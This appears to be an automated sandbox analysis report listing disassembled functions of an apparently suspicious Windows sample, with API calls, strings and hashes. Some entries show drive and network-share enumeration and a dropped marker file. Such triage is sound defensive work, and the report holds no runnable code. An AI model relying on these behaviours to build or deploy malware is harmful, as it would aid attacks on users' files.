__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
